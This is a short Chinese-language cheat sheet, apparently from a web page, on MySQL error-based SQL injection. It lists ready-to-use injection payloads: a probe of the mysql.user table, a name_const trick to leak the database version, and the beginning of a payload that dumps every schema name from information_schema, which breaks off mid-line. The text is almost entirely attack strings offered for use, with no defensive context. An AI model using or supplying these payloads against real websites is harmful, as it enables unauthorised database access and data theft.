MYSQL高级报错注入脚本安全

MYSQL高级报错注入脚本安全
 MYSQL高级报错注入     and (select count(*) from mysql.user)>0/*     1、查看MYSQL版本     and+exists(select*from+(select*from(select+name_const(@@version,0))a+join(select+name_const(@@version,0))b)c)     2、爆所有库     and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM infor...